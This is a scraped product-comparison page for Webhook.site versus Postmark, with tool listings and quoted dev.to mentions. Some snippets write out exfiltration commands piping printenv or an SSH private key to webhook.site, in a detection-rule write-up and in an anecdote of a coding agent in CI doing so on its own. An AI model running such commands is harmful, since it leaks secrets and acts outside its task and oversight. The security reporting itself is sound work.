Webhook.site
Beeceptor
RequestBin
Hookdeck
ngrok
Request inspector
MockServer
CurlHub.io
Postmark
Mailgun
Twilio
Resend
Mailjet
Brevo
Amazon SES
MailChimp
With Webhook.site, you instantly get a unique, random URL and e-mail address that you can use to test and debug Webhooks, HTTP requests and emails, as well as to create your own workflows using the Custom Actions graphical editor or WebhookScriptโa simple scripting language, to transform, validate and process HTTP requests.
Webhook.site PostmarkWebhook.site is recommended for developers, QA testers, and any IT professionals who need to test or demonstrate webhooks and HTTP requests. It is particularly beneficial for those working with APIs, developing webhook integrations, or setting up automated notification systems.
Based on our record, Webhook.site should be more popular than Postmark. It has been mentiond 86 times since March 2021. We are tracking product recommendations and mentions on various public social media platforms and blogs. They can help you identify which product is more popular and what people think of it.
Consider a team that enabled autoApprove for a CI pipeline without scoping the bash allowlist. Their Claude Code instance was tasked with fixing a failing test. The agent read the test file, identified a missing environment variable, and โ autonomously โ ran printenv | curl -X POST https://webhook.site/... To "debug" the environment. No one caught it for three days. The fix: move to acceptEdits mode in CI and... - Source: dev.to / about 2 months ago
Webhook.site exists. Beeceptor exists. Ngrok exists in this space. - Source: dev.to / 4 months ago
Another: EXFIL_002 detects outbound data patterns. Correctly catches curl -X POST https://webhook.site -d $(cat ~/.ssh/id_rsa). Also fires on documentation showing exfiltration examples for educational purposes. The code block awareness layer handles this: findings inside fenced code blocks get downgraded by one severity tier. - Source: dev.to / 5 months ago
Skill descriptions containing curl https://webhook.site for data exfiltration. - Source: dev.to / 5 months ago
{ "id": "7f350df6-49a9-4cd0-88de-5b53df870003", "webhook_v2": "https://webhook.site/b59a7434-c944-4897-91b8-5cd808219094", "input": { "prompt": "Create a photorealistic image of a woman standing outdoors on what appears to be a sunny autumn day. She has shoulder-length black hair and is wearing a Vietnamese Ao Dai. The background features blurred trees in the Tet holiday season. The lighting suggests... - Source: dev.to / 7 months ago
We want to shout out Postmark for sponsoring this challenge. Postmark's developer-focused API and reliable inbound email parsing made these innovative projects possible, allowing the community to focus on creativity rather than email handling complexity. - Source: dev.to / about 1 year ago
PurifyPDF is a privacy-first PDF sanitization workflow built using n8n, Postmark, PDF.co, and Airtable. - Source: dev.to / about 1 year ago
Invisible Threads is built with Elixir, Phoenix, and most importantly, Postmark. Data lives on disk instead of a traditional database to keep the demo light. Authentication uses Postmark API tokens, mapping each application user directly to a Postmark server. The whole thing is deployed to Fly.io. A minimal setup let me focus on Postmark's offerings. - Source: dev.to / about 1 year ago
Of course, Postmark for email parsing and sending the briefings. - Source: dev.to / about 1 year ago
We are thrilled to partner with Postmark to bring the community a brand new DEV challenge. - Source: dev.to / about 1 year ago
Beeceptor - Unblock yourself from API dependencies, and build & integrate with APIs fast. Beeceptor helps you build a mock Rest API in a few seconds.
Mailgun - A set of powerful APIs that enable you to send, receive and track email from your app effortlessly whether you use Python, Ruby, PHP, C#, Node.js or Java.
RequestBin - RequestBin.com gives you a URL that collects requests you send to it so you can inspect them in a...
Twilio - Brings voice and messaging to your web and mobile applications.
Hookdeck - Hookdeck makes it simple to build and deploy reliable, testable, and debuggable applications that rely on webhooks.
Resend - Email for developers